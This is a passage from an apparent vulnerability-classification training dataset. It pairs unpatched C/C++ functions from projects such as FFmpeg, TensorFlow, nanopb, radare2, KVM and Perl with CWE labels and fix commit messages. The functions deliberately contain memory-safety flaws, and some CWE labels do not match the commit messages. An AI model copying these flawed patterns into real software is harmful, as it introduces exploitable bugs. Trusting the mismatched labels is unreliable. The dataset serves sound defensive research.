look at first two bytes\n            size_t to_alloc = ThreadHandoff::get_remaining_data_size_from_two_bytes(ujpg_mrk + 1) + 2;\n            if(to_alloc) {\n                std::vector data(to_alloc);\n                data[0] = ujpg_mrk[1];\n                data[1] = ujpg_mrk[2];\n                ReadFull(header_reader, &data[2], to_alloc - 2);\n                thread_handoff = ThreadHandoff::deserialize(&data[0], to_alloc);\n            }\n        } else if ( memcmp( ujpg_mrk, \"FRS\", 3 ) == 0 ) {\n            // read number of false set RST markers per scan from file\n            ReadFull(header_reader, ujpg_mrk, 4);\n            scnc = LEtoUint32(ujpg_mrk);\n            \n            rst_err.insert(rst_err.end(), scnc - rst_err.size(), 0);\n            // read data\n            ReadFull(header_reader, rst_err.data(), scnc );\n        }\n        else if ( memcmp( ujpg_mrk, \"GRB\", 3 ) == 0 ) {\n            // read garbage (data after end of JPG) from file\n            ReadFull(header_reader, ujpg_mrk, 4);\n            grbs = LEtoUint32(ujpg_mrk);\n            grbgdata = aligned_alloc(grbs);\n            memset(grbgdata, 0, sizeof(grbs));\n            if ( grbgdata == NULL ) {\n                fprintf( stderr, MEM_ERRMSG );\n                errorlevel.store(2);\n                return false;\n            }\n            // read garbage data\n            ReadFull(header_reader, grbgdata, grbs );\n        }\n        else if ( memcmp( ujpg_mrk, \"PGR\", 3 ) == 0 || memcmp( ujpg_mrk, \"PGE\", 3 ) == 0 ) {\n            // read prefix garbage (data before beginning of JPG) from file\n            if (ujpg_mrk[2] == 'E') {\n                // embedded jpeg: full header required\n                embedded_jpeg = true;\n            }\n            ReadFull(header_reader, ujpg_mrk, 4);\n            prefix_grbs = LEtoUint32(ujpg_mrk);\n            prefix_grbgdata = aligned_alloc(prefix_grbs);\n            memset(prefix_grbgdata, 0, sizeof(prefix_grbs));\n            if ( prefix_grbgdata == NULL ) {\n                fprintf( stderr, MEM_ERRMSG );\n                errorlevel.store(2);\n                return false;\n            }\n            // read garbage data\n            ReadFull(header_reader, prefix_grbgdata, prefix_grbs );\n        }\n        else if ( memcmp( ujpg_mrk, \"SIZ\", 3 ) == 0 ) {\n            // full size of the original file\n            ReadFull(header_reader, ujpg_mrk, 4);\n            max_file_size = LEtoUint32(ujpg_mrk);\n        }\n        else if ( memcmp( ujpg_mrk, \"EEE\", 3) == 0) {\n            ReadFull(header_reader, ujpg_mrk, 28);\n            max_cmp = LEtoUint32(ujpg_mrk);\n            max_bpos = LEtoUint32(ujpg_mrk + 4);\n            max_sah = LEtoUint32(ujpg_mrk + 8);\n            max_dpos[0] = LEtoUint32(ujpg_mrk + 12);\n            max_dpos[1] = LEtoUint32(ujpg_mrk + 16);\n            max_dpos[2] = LEtoUint32(ujpg_mrk + 20);\n            max_dpos[3] = LEtoUint32(ujpg_mrk + 24);\n            early_eof_encountered = true;\n            colldata.set_truncation_bounds(max_cmp, max_bpos, max_dpos, max_sah);\n        }\n        else {\n            if (memcmp(ujpg_mrk, \"CNT\", 3) == 0 ) {\n                pending_header_reads = true;\n                break;\n            } else if (memcmp(ujpg_mrk, \"CMP\", 3) == 0 ) {\n                break;\n            } else {\n                fprintf( stderr, \"unknown data found\" );\n                errorlevel.store(2);\n            }\n            return false;\n        }\n    }\n    if (!pending_header_reads) {\n        delete header_reader;\n        header_reader = NULL;\n    }\n    write_byte_bill(Billing::HEADER,\n                    false,\n                    2 + hdrs + prefix_grbs + grbs);\n\n    ReadFull(str_in, ujpg_mrk, 3 ) ;\n    write_byte_bill(Billing::HEADER, true, 3);\n\n    write_byte_bill(Billing::DELIMITERS, true, 4 * NUM_THREADS); // trailing vpx_encode bits\n    write_byte_bill(Billing::HEADER, true, 4); //trailing size\n\n    if (memcmp(ujpg_mrk, \"CMP\", 3) != 0) {\n        always_assert(false && \"CMP must be present (uncompressed) in the file or CNT continue marker\");\n        return false; // not a JPG\n    }\n    colldata.signal_worker_should_begin();\n    g_decoder->initialize(str_in, thread_handoff);\n    colldata.start_decoder(g_decoder);\n    return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399', 'CWE-190'], 'message': 'fix #111'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int somfy_iohc_decode(r_device *decoder, bitbuffer_t *bitbuffer)\n{\n    uint8_t const preamble_pattern[] = {0x57, 0xfd, 0x99};\n\n    uint8_t b[19 + 15]; // 19 byte + up 15 byte payload\n\n    if (bitbuffer->num_rows != 1)\n        return DECODE_ABORT_EARLY;\n\n    int offset = bitbuffer_search(bitbuffer, 0, 0, preamble_pattern, 24) + 24;\n    if (offset >= bitbuffer->bits_per_row[0] - 19 * 10)\n        return DECODE_ABORT_EARLY;\n\n    int num_bits = bitbuffer->bits_per_row[0] - offset;\n\n    int len = extract_bytes_uart(bitbuffer->bb[0], offset, num_bits, b);\n    if (len < 19)\n        return DECODE_ABORT_LENGTH;\n\n    if ((b[0] & 0xf0) != 0xf0)\n        return DECODE_ABORT_EARLY;\n\n    int msg_len = b[0] & 0xf; // should be 6 or 8\n    if (len < 19 + msg_len)\n        return DECODE_ABORT_LENGTH;\n\n    // calculate and verify checksum\n    if (crc16lsb(b, len, 0x8408, 0x0000) != 0) // unreflected poly 0x1021\n        return DECODE_FAIL_MIC;\n    bitrow_printf(b, len * 8, \"%s: offset %d, num_bits %d, len %d, msg_len %d\\n\", __func__, offset, num_bits, len, msg_len);\n\n    int msg_type = (b[0]);\n    int dst_id   = ((unsigned)b[4] << 24) | (b[3] << 16) | (b[2] << 8) | (b[1]); // assume Little-Endian\n    int src_id   = ((unsigned)b[8] << 24) | (b[7] << 16) | (b[6] << 8) | (b[5]); // assume Little-Endian\n    int counter  = (b[len - 10] << 8) | (b[len - 9]);\n    char msg_str[15 * 2 + 1];\n    bitrow_snprint(&b[9], msg_len * 8, msg_str, 15 * 2 + 1);\n    char mac_str[13];\n    bitrow_snprint(&b[len - 8], 6 * 8, mac_str, 13);\n\n    /* clang-format off */\n    data_t *data = data_make(\n            \"model\",            \"\",                 DATA_STRING, \"Somfy-IOHC\",\n            \"id\",               \"\",                 DATA_FORMAT, \"%08x\", DATA_INT, src_id,\n            \"dst_id\",           \"Dest ID\",          DATA_FORMAT, \"%08x\", DATA_INT, dst_id,\n            \"msg_type\",         \"Msg type\",         DATA_FORMAT, \"%02x\", DATA_INT, msg_type,\n            \"msg\",              \"Message\",          DATA_STRING, msg_str,\n            \"counter\",          \"Counter\",          DATA_INT,    counter,\n            \"mac\",              \"MAC\",              DATA_STRING, mac_str,\n            \"mic\",              \"Integrity\",        DATA_STRING, \"CRC\",\n            NULL);\n    /* clang-format on */\n\n    decoder_output_data(decoder, data);\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-193'], 'message': 'minor: Fix overflow in Clipsal-CMR113 and Somfy-IOHC reported by aug5t7'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static bool checkreturn decode_pointer_field(pb_istream_t *stream, pb_wire_type_t wire_type, pb_field_iter_t *field)\n{\n#ifndef PB_ENABLE_MALLOC\n    PB_UNUSED(wire_type);\n    PB_UNUSED(field);\n    PB_RETURN_ERROR(stream, \"no malloc support\");\n#else\n    switch (PB_HTYPE(field->type))\n    {\n        case PB_HTYPE_REQUIRED:\n        case PB_HTYPE_OPTIONAL:\n        case PB_HTYPE_ONEOF:\n            if (!check_wire_type(wire_type, field))\n                PB_RETURN_ERROR(stream, \"wrong wire type\");\n\n            if (PB_LTYPE_IS_SUBMSG(field->type) && *(void**)field->pField != NULL)\n            {\n                /* Duplicate field, have to release the old allocation first. */\n                /* FIXME: Does this work correctly for oneofs? */\n                pb_release_single_field(field);\n            }\n        \n            if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF)\n            {\n                *(pb_size_t*)field->pSize = field->tag;\n            }\n\n            if (PB_LTYPE(field->type) == PB_LTYPE_STRING ||\n                PB_LTYPE(field->type) == PB_LTYPE_BYTES)\n            {\n                /* pb_dec_string and pb_dec_bytes handle allocation themselves */\n                field->pData = field->pField;\n                return decode_basic_field(stream, field);\n            }\n            else\n            {\n                if (!allocate_field(stream, field->pField, field->data_size, 1))\n                    return false;\n                \n                field->pData = *(void**)field->pField;\n                initialize_pointer_field(field->pData, field);\n                return decode_basic_field(stream, field);\n            }\n    \n        case PB_HTYPE_REPEATED:\n            if (wire_type == PB_WT_STRING\n                && PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE)\n            {\n                /* Packed array, multiple items come in at once. */\n                bool status = true;\n                pb_size_t *size = (pb_size_t*)field->pSize;\n                size_t allocated_size = *size;\n                pb_istream_t substream;\n                \n                if (!pb_make_string_substream(stream, &substream))\n                    return false;\n                \n                while (substream.bytes_left)\n                {\n                    if ((size_t)*size + 1 > allocated_size)\n                    {\n                        /* Allocate more storage. This tries to guess the\n                         * number of remaining entries. Round the division\n                         * upwards. */\n                        allocated_size += (substream.bytes_left - 1) / field->data_size + 1;\n                        \n                        if (!allocate_field(&substream, field->pField, field->data_size, allocated_size))\n                        {\n                            status = false;\n                            break;\n                        }\n                    }\n\n                    /* Decode the array entry */\n                    field->pData = *(char**)field->pField + field->data_size * (*size);\n                    initialize_pointer_field(field->pData, field);\n                    if (!decode_basic_field(&substream, field))\n                    {\n                        status = false;\n                        break;\n                    }\n                    \n                    if (*size == PB_SIZE_MAX)\n                    {\n#ifndef PB_NO_ERRMSG\n                        stream->errmsg = \"too many array entries\";\n#endif\n                        status = false;\n                        break;\n                    }\n                    \n                    (*size)++;\n                }\n                if (!pb_close_string_substream(stream, &substream))\n                    return false;\n                \n                return status;\n            }\n            else\n            {\n                /* Normal repeated field, i.e. only one item at a time. */\n                pb_size_t *size = (pb_size_t*)field->pSize;\n\n                if (*size == PB_SIZE_MAX)\n                    PB_RETURN_ERROR(stream, \"too many array entries\");\n                \n                if (!check_wire_type(wire_type, field))\n                    PB_RETURN_ERROR(stream, \"wrong wire type\");\n\n                (*size)++;\n                if (!allocate_field(stream, field->pField, field->data_size, *size))\n                    return false;\n            \n                field->pData = *(char**)field->pField + field->data_size * (*size - 1);\n                initialize_pointer_field(field->pData, field);\n                return decode_basic_field(stream, field);\n            }\n\n        default:\n            PB_RETURN_ERROR(stream, \"invalid field type\");\n    }\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix invalid free() after failed realloc() (GHSA-gcx3-7m76-287p)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int xpm_decode_frame(AVCodecContext *avctx, void *data,\n                            int *got_frame, AVPacket *avpkt)\n{\n    XPMDecContext *x = avctx->priv_data;\n    AVFrame *p=data;\n    const uint8_t *end, *ptr = avpkt->data;\n    int ncolors, cpp, ret, i, j;\n    int64_t size;\n    uint32_t *dst;\n\n    avctx->pix_fmt = AV_PIX_FMT_BGRA;\n\n    end = avpkt->data + avpkt->size;\n    while (memcmp(ptr, \"/* XPM */\", 9) && ptr < end - 9)\n        ptr++;\n\n    if (ptr >= end) {\n        av_log(avctx, AV_LOG_ERROR, \"missing signature\\n\");\n        return AVERROR_INVALIDDATA;\n    }\n\n    ptr += mod_strcspn(ptr, \"\\\"\");\n    if (sscanf(ptr, \"\\\"%u %u %u %u\\\",\",\n               &avctx->width, &avctx->height, &ncolors, &cpp) != 4) {\n        av_log(avctx, AV_LOG_ERROR, \"missing image parameters\\n\");\n        return AVERROR_INVALIDDATA;\n    }\n\n    if ((ret = ff_set_dimensions(avctx, avctx->width, avctx->height)) < 0)\n        return ret;\n\n    if ((ret = ff_get_buffer(avctx, p, 0)) < 0)\n        return ret;\n\n    if (cpp <= 0 || cpp >= 5) {\n        av_log(avctx, AV_LOG_ERROR, \"unsupported/invalid number of chars per pixel: %d\\n\", cpp);\n        return AVERROR_INVALIDDATA;\n    }\n\n    size = 1;\n    for (i = 0; i < cpp; i++)\n        size *= 94;\n\n    if (ncolors <= 0 || ncolors > size) {\n        av_log(avctx, AV_LOG_ERROR, \"invalid number of colors: %d\\n\", ncolors);\n        return AVERROR_INVALIDDATA;\n    }\n\n    size *= 4;\n\n    av_fast_padded_malloc(&x->pixels, &x->pixels_size, size);\n    if (!x->pixels)\n        return AVERROR(ENOMEM);\n\n    ptr += mod_strcspn(ptr, \",\") + 1;\n    for (i = 0; i < ncolors; i++) {\n        const uint8_t *index;\n        int len;\n\n        ptr += mod_strcspn(ptr, \"\\\"\") + 1;\n        if (ptr + cpp > end)\n            return AVERROR_INVALIDDATA;\n        index = ptr;\n        ptr += cpp;\n\n        ptr = strstr(ptr, \"c \");\n        if (ptr) {\n            ptr += 2;\n        } else {\n            return AVERROR_INVALIDDATA;\n        }\n\n        len = strcspn(ptr, \"\\\" \");\n\n        if ((ret = ascii2index(index, cpp)) < 0)\n            return ret;\n\n        x->pixels[ret] = color_string_to_rgba(ptr, len);\n        ptr += mod_strcspn(ptr, \",\") + 1;\n    }\n\n    for (i = 0; i < avctx->height; i++) {\n        dst = (uint32_t *)(p->data[0] + i * p->linesize[0]);\n        ptr += mod_strcspn(ptr, \"\\\"\") + 1;\n\n        for (j = 0; j < avctx->width; j++) {\n            if (ptr + cpp > end)\n                return AVERROR_INVALIDDATA;\n\n            if ((ret = ascii2index(ptr, cpp)) < 0)\n                return ret;\n\n            *dst++ = x->pixels[ret];\n            ptr += cpp;\n        }\n        ptr += mod_strcspn(ptr, \",\") + 1;\n    }\n\n    p->key_frame = 1;\n    p->pict_type = AV_PICTURE_TYPE_I;\n\n    *got_frame = 1;\n\n    return avpkt->size;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119', 'CWE-787'], 'message': 'avcodec/xpmdec: Fix multiple pointer/memory issues\n\nMost of these were found through code review in response to\nfixing 1466/clusterfuzz-testcase-minimized-5961584419536896\nThere is thus no testcase for most of this.\nThe initial issue was Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg\n\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool FromkLinuxSockAddr(const struct klinux_sockaddr *input,\n                        socklen_t input_len, struct sockaddr *output,\n                        socklen_t *output_len,\n                        void (*abort_handler)(const char *)) {\n  if (!input || !output || !output_len || input_len == 0) {\n    output = nullptr;\n    return false;\n  }\n\n  int16_t klinux_family = input->klinux_sa_family;\n  if (klinux_family == kLinux_AF_UNIX) {\n    struct klinux_sockaddr_un *klinux_sockaddr_un_in =\n        const_cast(\n            reinterpret_cast(input));\n\n    struct sockaddr_un sockaddr_un_out;\n    sockaddr_un_out.sun_family = AF_UNIX;\n    InitializeToZeroArray(sockaddr_un_out.sun_path);\n    ReinterpretCopyArray(\n        sockaddr_un_out.sun_path, klinux_sockaddr_un_in->klinux_sun_path,\n        std::min(sizeof(sockaddr_un_out.sun_path),\n                 sizeof(klinux_sockaddr_un_in->klinux_sun_path)));\n    CopySockaddr(&sockaddr_un_out, sizeof(sockaddr_un_out), output, output_len);\n  } else if (klinux_family == kLinux_AF_INET) {\n    struct klinux_sockaddr_in *klinux_sockaddr_in_in =\n        const_cast(\n            reinterpret_cast(input));\n\n    struct sockaddr_in sockaddr_in_out;\n    sockaddr_in_out.sin_family = AF_INET;\n    sockaddr_in_out.sin_port = klinux_sockaddr_in_in->klinux_sin_port;\n    InitializeToZeroSingle(&sockaddr_in_out.sin_addr);\n    ReinterpretCopySingle(&sockaddr_in_out.sin_addr,\n                          &klinux_sockaddr_in_in->klinux_sin_addr);\n    InitializeToZeroArray(sockaddr_in_out.sin_zero);\n    ReinterpretCopyArray(sockaddr_in_out.sin_zero,\n                         klinux_sockaddr_in_in->klinux_sin_zero);\n    CopySockaddr(&sockaddr_in_out, sizeof(sockaddr_in_out), output, output_len);\n  } else if (klinux_family == kLinux_AF_INET6) {\n    struct klinux_sockaddr_in6 *klinux_sockaddr_in6_in =\n        const_cast(\n            reinterpret_cast(input));\n\n    struct sockaddr_in6 sockaddr_in6_out;\n    sockaddr_in6_out.sin6_family = AF_INET6;\n    sockaddr_in6_out.sin6_port = klinux_sockaddr_in6_in->klinux_sin6_port;\n    sockaddr_in6_out.sin6_flowinfo =\n        klinux_sockaddr_in6_in->klinux_sin6_flowinfo;\n    sockaddr_in6_out.sin6_scope_id =\n        klinux_sockaddr_in6_in->klinux_sin6_scope_id;\n    InitializeToZeroSingle(&sockaddr_in6_out.sin6_addr);\n    ReinterpretCopySingle(&sockaddr_in6_out.sin6_addr,\n                          &klinux_sockaddr_in6_in->klinux_sin6_addr);\n    CopySockaddr(&sockaddr_in6_out, sizeof(sockaddr_in6_out), output,\n                 output_len);\n  } else if (klinux_family == kLinux_AF_UNSPEC) {\n    output = nullptr;\n    *output_len = 0;\n  } else {\n    if (abort_handler != nullptr) {\n      std::string message = absl::StrCat(\n          \"Type conversion error - Unsupported AF family: \", klinux_family);\n      abort_handler(message.c_str());\n    } else {\n      abort();\n    }\n  }\n  return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'Check input length in FromLinuxSockAddr\n\nPiperOrigin-RevId: 333785506\nChange-Id: I1d68fb8954665eebc1018d80ff995cbe9e7ed6a9'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int avpriv_ac3_parse_header(AC3HeaderInfo **phdr, const uint8_t *buf,\n                            size_t size)\n{\n    GetBitContext gb;\n    AC3HeaderInfo *hdr;\n    int err;\n\n    if (!*phdr)\n        *phdr = av_mallocz(sizeof(AC3HeaderInfo));\n    if (!*phdr)\n        return AVERROR(ENOMEM);\n    hdr = *phdr;\n\n    init_get_bits8(&gb, buf, size);\n    err = ff_ac3_parse_header(&gb, hdr);\n    if (err < 0)\n        return AVERROR_INVALIDDATA;\n\n    return get_bits_count(&gb);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'avcodec/ac3_parser: Check init_get_bits8() for failure\n\nFixes: null pointer dereference\nFixes: ffmpeg_crash_6.avi\n\nFound-by: Thuan Pham, Marcel B\u00f6hme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart\nReviewed-by: Paul B Mahol \nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   void Compute(OpKernelContext* ctx) override {\n    const Tensor& input = ctx->input(0);\n    const Tensor& input_min_range = ctx->input(1);\n    const Tensor& input_max_range = ctx->input(2);\n\n    int num_slices = 1;\n    if (axis_ > -1) {\n      num_slices = input.dim_size(axis_);\n    }\n\n    const TensorShape& minmax_shape = ctx->input(1).shape();\n    Tensor* output = nullptr;\n    OP_REQUIRES_OK(ctx, ctx->allocate_output(0, input.shape(), &output));\n\n    Tensor* output_min_tensor = nullptr;\n    Tensor* output_max_tensor = nullptr;\n\n    if (num_slices == 1) {\n      OP_REQUIRES_OK(ctx, ctx->allocate_output(1, {}, &output_min_tensor));\n      OP_REQUIRES_OK(ctx, ctx->allocate_output(2, {}, &output_max_tensor));\n      const float min_range = input_min_range.template flat()(0);\n      const float max_range = input_max_range.template flat()(0);\n      QuantizeTensor(ctx, input, min_range, max_range, output,\n                     output_min_tensor, output_max_tensor);\n      return;\n    }\n\n    OP_REQUIRES(ctx, mode_ != QUANTIZE_MODE_MIN_FIRST,\n                errors::Unimplemented(\"MIN_FIRST mode is not implemented for \"\n                                      \"Quantize with axis != -1.\"));\n    OP_REQUIRES_OK(ctx,\n                   ctx->allocate_output(1, minmax_shape, &output_min_tensor));\n    OP_REQUIRES_OK(ctx,\n                   ctx->allocate_output(2, minmax_shape, &output_max_tensor));\n\n    auto input_tensor =\n        input.template flat_inner_outer_dims(axis_ - 1);\n    int64_t pre_dim = 1, post_dim = 1;\n    for (int i = 0; i < axis_; ++i) {\n      pre_dim *= output->dim_size(i);\n    }\n    for (int i = axis_ + 1; i < output->dims(); ++i) {\n      post_dim *= output->dim_size(i);\n    }\n    auto output_tensor = output->template bit_casted_shaped(\n        {pre_dim, num_slices, post_dim});\n    auto min_ranges = input_min_range.template vec();\n    auto max_ranges = input_max_range.template vec();\n    for (int i = 0; i < num_slices; ++i) {\n      QuantizeSlice(ctx->eigen_device(), ctx,\n                    input_tensor.template chip<1>(i), min_ranges(i),\n                    max_ranges(i), output_tensor.template chip<1>(i),\n                    &output_min_tensor->flat()(i),\n                    &output_max_tensor->flat()(i));\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'Secure tf.raw_ops.QuantizeV2\n\nValidate size and shape of min_range and max_range\nEnsure axis is within input dims limits\n\nPiperOrigin-RevId: 387232799\nChange-Id: I36975281f7b5758e9e31a8dcc73fe610ef456318'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static bool r_bin_mdmp_init_directory(struct r_bin_mdmp_obj *obj) {\n\tint i;\n\tut8 *directory_base;\n\tstruct minidump_directory *entry;\n\n\tdirectory_base = obj->b->buf + obj->hdr->stream_directory_rva;\n\n\tsdb_num_set (obj->kv, \"mdmp_directory.offset\",\n\t\t\tobj->hdr->stream_directory_rva, 0);\n\tsdb_set (obj->kv, \"mdmp_directory.format\", \"[4]E? \"\n\t\t\t\"(mdmp_stream_type)StreamType \"\n\t\t\t\"(mdmp_location_descriptor)Location\", 0);\n\n\t/* Parse each entry in the directory */\n\tfor (i = 0; i < (int)obj->hdr->number_of_streams; i++) {\n\t\tentry = (struct minidump_directory *)(directory_base + (i * sizeof (struct minidump_directory)));\n\t\tr_bin_mdmp_init_directory_entry (obj, entry);\n\t}\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125'], 'message': 'Fix #10464 - oobread crash in mdmp (#10683)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int kvm_vm_ioctl_set_pit(struct kvm *kvm, struct kvm_pit_state *ps)\n{\n\tmutex_lock(&kvm->arch.vpit->pit_state.lock);\n\tmemcpy(&kvm->arch.vpit->pit_state, ps, sizeof(struct kvm_pit_state));\n\tkvm_pit_load_count(kvm, 0, ps->channels[0].count, 0);\n\tmutex_unlock(&kvm->arch.vpit->pit_state.lock);\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-369'], 'message': 'KVM: x86: Reload pit counters for all channels when restoring state\n\nCurrently if userspace restores the pit counters with a count of 0\non channels 1 or 2 and the guest attempts to read the count on those\nchannels, then KVM will perform a mod of 0 and crash.  This will ensure\nthat 0 values are converted to 65536 as per the spec.\n\nThis is CVE-2015-7513.\n\nSigned-off-by: Andy Honig \nSigned-off-by: Paolo Bonzini '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: STATIC U8 *\nS_reghopmaybe3(U8* s, SSize_t off, const U8* lim)\n{\n    PERL_ARGS_ASSERT_REGHOPMAYBE3;\n\n    if (off >= 0) {\n\twhile (off-- && s < lim) {\n\t    /* XXX could check well-formedness here */\n\t    s += UTF8SKIP(s);\n\t}\n\tif (off >= 0)\n\t    return NULL;\n    }\n    else {\n        while (off++ && s > lim) {\n            s--;\n            if (UTF8_IS_CONTINUED(*s)) {\n                while (s > lim && UTF8_IS_CONTINUATION(*s))\n                    s--;\n\t    }\n            /* XXX could check well-formedness here */\n\t}\n\tif (off <= 0)\n\t    return NULL;\n    }\n    return s; ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'PATCH [perl #123562] Regexp-matching \"hangs\"\n\nThe regex engine got into an infinite loop because of the malformation.\nIt is trying to back-up over a sequence of UTF-8 continuation bytes.\nBut the character just before the sequence should be a start byte.  If\nnot, there is a malformation.  I added a test to croak if that isn't the\ncase so that it doesn't just infinitely loop.  I did this also in the\nsimilar areas of regexec.c.\n\nComments long ago added to the code suggested that we check for\nmalformations in the vicinity of the new tests.  But that was never\ndone.  These new tests should be good enough to prevent looping, anyway.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TEST_F(QuantizedConv2DTest, Small) {\n  const int stride = 1;\n  TF_ASSERT_OK(NodeDefBuilder(\"quantized_conv_op\", \"QuantizedConv2D\")\n                   .Input(FakeInput(DT_QUINT8))\n                   .Input(FakeInput(DT_QUINT8))\n                   .Input(FakeInput(DT_FLOAT))\n                   .Input(FakeInput(DT_FLOAT))\n                   .Input(FakeInput(DT_FLOAT))\n                   .Input(FakeInput(DT_FLOAT))\n                   .Attr(\"out_type\", DataTypeToEnum::v())\n                   .Attr(\"strides\", {1, stride, stride, 1})\n                   .Attr(\"padding\", \"SAME\")\n                   .Finalize(node_def()));\n  TF_ASSERT_OK(InitOp());\n\n  const int depth = 1;\n  const int image_width = 4;\n  const int image_height = 3;\n  const int image_batch_count = 1;\n  // The image data should always be able to represent zero, to allow a fast\n  // implementation of border padding, so we set the min value to 0.\n  const float image_min = 0.0f;\n  const float image_max = 12.0f;\n  // The image matrix is:\n  // |  1 |  2 |  3 |  4 |\n  // |  5 |  6 |  7 |  8 |\n  // |  9 | 10 | 11 | 12 |\n  Tensor image_float(DT_FLOAT,\n                     {image_batch_count, image_height, image_width, depth});\n  test::FillValues(&image_float,\n                          {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12});\n  Tensor image_quantized =\n      FloatTensorToQuantized(image_float, image_min, image_max);\n\n  // The filter matrix is:\n  // | 1 | 4 | 7 |\n  // | 2 | 5 | 8 |\n  // | 3 | 6 | 9 |\n  const int filter_size = 3;\n  const int filter_count = 1;\n  const float filter_min = 1.0f;\n  const float filter_max = 9.0f;\n  Tensor filter_float(DT_FLOAT,\n                      {filter_size, filter_size, depth, filter_count});\n  test::FillValues(&filter_float, {1, 4, 7, 2, 5, 8, 3, 6, 9});\n  Tensor filter_quantized =\n      FloatTensorToQuantized(filter_float, filter_min, filter_max);\n\n  AddInputFromArray(image_quantized.shape(),\n                            image_quantized.flat());\n  AddInputFromArray(filter_quantized.shape(),\n                            filter_quantized.flat());\n  AddInputFromArray(TensorShape({1}), {image_min});\n  AddInputFromArray(TensorShape({1}), {image_max});\n  AddInputFromArray(TensorShape({1}), {filter_min});\n  AddInputFromArray(TensorShape({1}), {filter_max});\n  TF_ASSERT_OK(RunOpKernel());\n\n  // We're sliding the 3x3 filter across the 3x4 image, with accesses outside\n  // the input set to zero because we're using the 'SAME' padding mode.\n  // The calculations behind the expected output are:\n  // (1*0)+(4*0)+(7*0)+(2*0)+(5*1)+(8*2)+(3*0)+(6*5)+(9*6)=105\n  // (1*0)+(4*0)+(7*0)+(2*1)+(5*2)+(8*3)+(3*5)+(6*6)+(9*7)=150\n  // (1*0)+(4*0)+(7*0)+(2*2)+(5*3)+(8*4)+(3*6)+(6*7)+(9*8)=183\n  // (1*0)+(4*0)+(7*0)+(2*3)+(5*4)+(8*0)+(3*7)+(6*8)+(9*0)=95\n  // (1*0)+(4*1)+(7*2)+(2*0)+(5*5)+(8*6)+(3*0)+(6*9)+(9*10)=235\n  // (1*1)+(4*2)+(7*3)+(2*5)+(5*6)+(8*7)+(3*9)+(6*10)+(9*11)=312\n  // (1*2)+(4*3)+(7*4)+(2*6)+(5*7)+(8*8)+(3*10)+(6*11)+(9*12)=357\n  // (1*3)+(4*4)+(7*0)+(2*7)+(5*8)+(8*0)+(3*11)+(6*12)+(9*0)=178\n  // (1*0)+(4*5)+(7*6)+(2*0)+(5*9)+(8*10)+(3*0)+(6*0)+(9*0)=187\n  // (1*5)+(4*6)+(7*7)+(2*9)+(5*10)+(8*11)+(3*0)+(6*0)+(9*0)=234\n  // (1*6)+(4*7)+(7*8)+(2*10)+(5*11)+(8*12)+(3*0)+(6*0)+(9*0)=261\n  // (1*7)+(4*11)+(7*0)+(2*8)+(5*12)+(8*0)+(3*0)+(6*0)+(9*0)=121\n  // This means we should end up with this matrix:\n  // |  105  |  150  |  183  |   95  |\n  // |  235  |  312  |  357  |  178  |\n  // 